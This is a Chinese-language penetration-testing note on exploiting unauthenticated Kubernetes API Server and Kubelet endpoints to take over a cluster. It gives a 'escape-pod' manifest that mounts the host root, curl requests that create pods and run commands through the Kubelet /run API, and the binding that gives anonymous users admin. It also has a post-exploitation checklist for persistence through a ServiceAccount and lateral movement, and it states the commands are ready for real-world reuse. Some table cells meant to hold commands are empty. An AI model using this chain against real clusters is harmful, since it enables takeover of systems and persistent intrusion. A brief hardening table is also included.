云原生安全——Kubernetes集群攻防(未授权访问)
在云原生渗透测试中,Kubernetes(K8s)已成为容器编排的事实标准。K8s集群配置不当(尤其是API Server和Kubelet的未授权访问)可导致攻击者直接接管整个集群。本笔记从实战视角,系统梳理K8s核心架构、三大未授权访问攻击面(APIServer 8080/6443、Kubelet 10250)的利用手法与防御策略,助你快速评估K8s环境的安全性。

1. K8s核心组件与攻击面
|
组件 |
默认端口 |
作用 |
攻击点 |
|
API Server |
8080 (insecure), 6443 (secure) |
集群操作入口,认证与授权中心 |
配置不当导致未授权访问、匿名用户绑定管理员角色 |
|
etcd |
2379-2380 |
存储集群所有状态数据 |
未授权访问可获取集群敏感信息 |
|
Kubelet |
10250, 10255 |
管理节点上容器生命周期 |
未授权访问可执行命令、获取Pod日志 |
|
Dashboard |
30000-32767 (NodePort) |
Web UI管理界面 |
弱口令、未授权访问 |
|
kube-proxy |
10256 |
网络代理和负载均衡 |
可能暴露内部服务 |
攻击链:
2. API Server未授权访问(8080端口)
2.1 漏洞原理
- 影响版本:Kubernetes < 1.16.0(默认开启),或高版本管理员手动开启。
- 端口:
8080(insecure-port)默认无认证、无加密,仅用于测试。 - 利用条件:API Server 的
--insecure-port=8080且--insecure-bind-address=0.0.0.0。
2.2 利用步骤
|
步骤 |
命令 |
说明 |
|
1. 探测端口 |
|
返回版本信息即未授权 |
|
2. 列出节点 |
|
查看集群节点 |
|
3. 创建恶意Pod |
编写 |
见下方yaml示例 |
|
4. 创建Pod |
|
Pod运行在任意节点 |
|
5. 进入Pod |
| |
|
6. 逃逸至宿主机 |
|
获得Node节点root权限 |
恶意Pod YAML示例:
apiVersion: v1
kind: Pod
metadata:
name: escape-pod
spec:
containers:
- name: attacker
image: ubuntu:latest
command: ["/bin/sh", "-c", "sleep 3600"]
volumeMounts:
- mountPath: /host
name: host-root
volumes:
- name: host-root
hostPath:
path: /
type: Directory
利用后:可在宿主机写计划任务反弹Shell、植入后门。
3. API Server未授权访问(6443端口,匿名用户绑定管理员)
3.1 漏洞原理
- 端口:
6443(secure-port)默认需TLS证书认证,但若管理员错误地将system:anonymous用户绑定到cluster-admin角色,则匿名用户可拥有管理员权限。 - 利用条件:
kubectl create clusterrolebinding anonymous-admin \
--clusterrole=cluster-admin \
--user=system:anonymous
3.2 利用步骤
|
步骤 |
命令 |
说明 |
|
1. 探测匿名权限 |
|
若返回权限拒绝则失败;若成功则存在漏洞 |
|
2. 创建恶意Pod |
同上,使用YAML或直接API POST |
通过POST请求创建 |
|
3. 执行命令 |
|
直接API创建Pod(无需kubectl):
curl -k -X POST https://<master-ip>:6443/api/v1/namespaces/default/pods/ \
-H "Content-Type: application/yaml" \
--data-binary @evil-pod.yaml
4. Kubelet未授权访问(10250端口)
4.1 漏洞原理
- 端口:
10250(kubelet API)默认需要认证,但可配置为允许匿名访问。 - 配置缺陷:
/var/lib/kubelet/config.yaml中:
authentication:
anonymous:
enabled: true
authorization:
mode: AlwaysAllow
- 利用条件:上述配置后,无需任何凭证即可调用Kubelet API。
4.2 利用步骤
|
步骤 |
命令 |
说明 |
|
1. 探测未授权 |
|
返回Pod列表即存在漏洞 |
|
2. 查找目标Pod |
从 | |
|
3. 执行命令 |
|
可直接在容器内执行任意命令 |
示例:
# 获取Pod列表
curl -k https://192.168.139.132:10250/pods | jq '.items[].metadata.name'
# 执行命令
curl -XPOST -k "https://192.168.139.132:10250/run/default/test02/test02" -d "cmd=id"
注意:kubelet API 执行的命令运行在容器内,若需逃逸仍需进一步挂载宿主目录。
5. 渗透测试实战Checklist(K8s未授权)
1. 端口扫描
- [ ] 扫描Master节点:8080, 6443
- [ ] 扫描Node节点:10250, 10255
2. API Server (8080)
- [ ] 访问 `http://<master>:8080/version`
- [ ] 若成功,使用kubectl创建挂载宿主机根目录的Pod
- [ ] 进入Pod,chroot获得Node权限
3. API Server (6443)
- [ ] 尝试 `kubectl --insecure-skip-tls-verify -s https://<master>:6443 get pods`
- [ ] 若成功,检查匿名用户角色绑定:`kubectl auth can-i --list --as=system:anonymous`
- [ ] 同8080利用链创建恶意Pod
4. Kubelet (10250)
- [ ] 访问 `https://<node>:10250/pods` 查看能否获取Pod列表
- [ ] 利用`/run/<namespace>/<pod>/<container>`接口执行命令
- [ ] 若容器挂载了宿主机目录,直接逃逸;否则尝试容器内提权
5. 后渗透
- [ ] 获取宿主机kubeconfig凭证,访问Master
- [ ] 创建高权限ServiceAccount持久化
- [ ] 横向控制其他Node
6. 防御与加固建议
|
风险点 |
加固措施 |
|
API Server 8080端口 |
生产环境禁用 |
|
API Server 6443匿名绑定 |
定期审计ClusterRoleBinding,移除匿名用户绑定;启用RBAC最小权限 |
|
Kubelet 10250端口 |
设置 |
|
默认ServiceAccount |
禁用自动挂载,删除不必要的SA权限 |
|
Pod安全策略 |
限制 |
💡 总结
Kubernetes集群的未授权访问是渗透测试中的高价值突破口。API Server的8080端口(历史版本)、6443端口的匿名用户绑定以及Kubelet的10250端口配置不当均可直接导致集群控制权沦陷。渗透测试人员应优先扫描这些端口,利用kubectl或原生API下发恶意Pod,实现从“容器”到“宿主机”再到“集群管理员”的完整攻击链。本笔记提供的命令和YAML示例可在实战中直接复用。
更多推荐
所有评论(0)